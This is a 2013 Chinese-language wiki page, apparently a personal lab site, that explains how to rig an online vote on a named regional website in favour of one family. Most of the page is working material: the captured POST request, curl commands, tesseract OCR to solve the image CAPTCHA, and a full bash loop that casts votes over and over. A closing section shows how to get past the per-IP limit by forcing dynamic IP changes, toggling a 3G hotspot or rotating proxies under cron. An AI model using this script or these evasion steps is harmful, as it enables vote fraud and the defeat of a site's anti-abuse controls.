Simple Vote Machine

来自Jack's Lab
2013年5月12日 (日) 10:59Comcat (讨论 | 贡献)的版本

(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)
跳转到: 导航, 搜索

目录

1 缘起

支持何总尽孝



2 原理

点击投票,发出的请求为:

POST /plus/sxzj1.php?validate=8342&action=toupiao_array&arr_value=,58
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Cookie: PHPSESSID=3046f4d0fa0f7aabd6f54f33bbd2b8f0; Hm_lvt_267f396665eb939d0abbe0a6ea6c0ee2=1368195799; 
        Hm_lpvt_267f396665eb939d0abbe0a6ea6c0ee2=1368196726
Host: special.sxcq.cn
Referer: http://special.sxcq.cn/plus/sxzj.php
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0

8342 是图片验证码,arr_value=,58 对应 53 号家庭


如下命令模拟:

curl -b /tmp/ck "http://special.sxcq.cn/plus/sxzj1.php?validate=$ID&action=toupiao_array&arr_value=,58" -e  \
"http://special.sxcq.cn/plus/sxzj.php"

其中 /tmp/ck 文件为访问 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,其中的关键是 PHPSESSID 这个值

$ID 为验证码

arr_value=,58 对应 53 号家庭

-e "http://special.sxcq.cn/plus/sxzj.php" 对应 Referer: http://special.sxcq.cn/plus/sxzj.php


因此关键是图片验证码的获取和识别,如下指令获取图片验证码:

curl -b /tmp/ck http://special.sxcq.cn/include/vdimgck.php >/tmp/x.jpg

其中 /tmp/ck 文件为访问 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,所有的访问都用一个 PHPSESSID


使用 tesseract 来 OCR:

tesseract /tmp/x.jpg -l eng -psm 7 /tmp/a

识别后的字符写入 /tmp/a.txt


当然所有的工作,先要访问一下 http://special.sxcq.cn/plus/sxzj.php 获取的 Cookies,以便使用同一个 PHPSESSID

curl -D /tmp/ck http://special.sxcq.cn/plus/sxzj.php >/dev/null



3 可用的脚本

需要先安装 curl, bc 和 tesseract

Debian/Ubuntu 下可用如下命令安装:

 $ apt-get install curl bc tesseract-ocr


#!/bin/bash

UA="Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0"

for ((i=0; i<15; i++))
do

curl -A '$UA' -D /tmp/ck http://special.sxcq.cn/plus/sxzj.php >/dev/null

ID="";

while [ -z $ID ]
do

curl -A '$UA' -b /tmp/ck http://special.sxcq.cn/include/vdimgck.php >/tmp/x.jpg

# OCR
tesseract /tmp/x.jpg -l eng -psm 7 /tmp/a

ID=$(cat /tmp/a.txt | grep "^[0-9]\{4\}$")

done

#ID=$((ID-1))
ID=`echo $ID-1 | bc`

curl -A '$UA' -b /tmp/ck "http://special.sxcq.cn/plus/sxzj3.php?validate=$ID&action=toupiao_array&arr_value=,58" -e  \
"http://special.sxcq.cn/plus/sxzj.php"

done


最新修正:新的投票提交 URL 为:http://special.sxcq.cn/plus/sxzj3.php



4 自动化

系统自动检测 IP,每个 IP 每 4小时只能投 10 票,因此一天最多投 24/4*10 = 60 票

要多投,就得不停换 IP,家里现在基本都是动态IP,断开再连上,IP 就换了,就可以不停的投。

3G 手机做 WiFi 热点,笔记本 WiFi 连上,3G 断开连上 IP 也会换


还有就是不停换代理就行

写个脚本 cron/at 定时不停的执行就行


距离 5月15日 18 时还有 4 天 15 小时,兄弟们加油吧






个人工具
名字空间

变换
操作
导航
工具箱